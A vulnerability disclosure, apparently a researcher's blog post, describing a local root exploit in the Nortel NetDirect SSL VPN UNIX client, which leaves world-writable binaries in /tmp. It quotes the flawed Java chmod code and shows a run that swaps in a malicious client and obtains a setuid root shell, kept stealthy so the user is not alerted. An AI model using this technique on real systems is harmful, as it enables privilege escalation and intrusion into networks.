spoofed.org

Bug details:

When a user wishes to utilize the Nortel SSL VPN, the web interface for the VPN is visited. A call to the startNetdirect() javascript code is made when the "SSL VPN" (or equivalent) link is clicked, which in turn starts a java applet. This java applet downloads a zip archive containing three binaries -- client, askpass and surun. The archive is dropped into /tmp, chmod'd 777 and then extracted. The extraction location is /tmp/NetClient, and the binaries are also chmod'd 777 after they are extracted. The chmod'ing can be seen in the following Java snippet, taken from the Java applet:

protected boolean setPermissions(String file)
   {
      String command = "chmod a+xw " + file;
      try
      {
         Process p = Runtime.getRuntime().exec(command);
         p.waitFor();
      }
      ...
   }

The normal execution path proceeds from here. /tmp/NetClient/surun is executed, which pops up a window asking for the root password by way of /tmp/NetClient/askpass. With these new found credentials, the applet now runs /tmp/NetClient/client via /bin/su.

There are clearly a number of problems with this code. Some are easy to exploit, others are not or even prove too unreliable to exploit. I took the easy way -- wait for /tmp/NetClient/client to appear world writable, swap in my special version, and then sit back and wait. I took the exploit one step further so that even once the initial root compromise has succeeded, the VPN client continues to function as expected so as to not alert the user.

Example run:

uid=1001(guest) gid=1002(guest) groups=1002(guest)
guest@tuvalu:~$ ./Nortel_NetDirect-UNIXClient_localroot.sh 
Waiting for writable client
Saving old client
Writing new "client"
Waiting for new client to be run
Success
Waiting for suid shell
Success! setuid shell is /tmp/vpnshell-24419.Oglfm24424
root@tuvalu:~# id
uid=0(root) gid=0(root) groups=1002(guest)
root@tuvalu:~# ls -l /tmp/vpnshell-24419.Oglfm24424 
-rwsr-xr-x 1 root root 7263 2007-02-20 08:19 /tmp/vpnshell-24419.Oglfm24424
root@tuvalu:~# /sbin/ifconfig  tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          inet addr:10.0.17.15  P-t-P:10.0.17.15  Mask:255.255.255.0
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:9 errors:0 dropped:0 overruns:0 frame:0
          TX packets:25 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1267 (1.2 KiB)  TX bytes:2611 (2.5 KiB)

Now I, as a previously unprivileged, untrusted local user on a VPN client, have root access on a system with a tunnel into your network. Further exploitation and leveraging of this bug is left as an exercise in imagination for the reader.

I've published the fully-functional exploit code here. Props to Nortel's SATF for seeing this vulnerability through to completion. Their documentation on this vulnerability can be found here and here. Their documentation is a bit misleading, as it seems to indicate that unprivileged users who run this software can obtain root privileges. This is incorrect, as you need root privileges to run the VPN software in the first place. The vulnerability is that unprivileged users who have access to the system that you, a trusted user, run the VPN client on, can obtain root privileges. Details.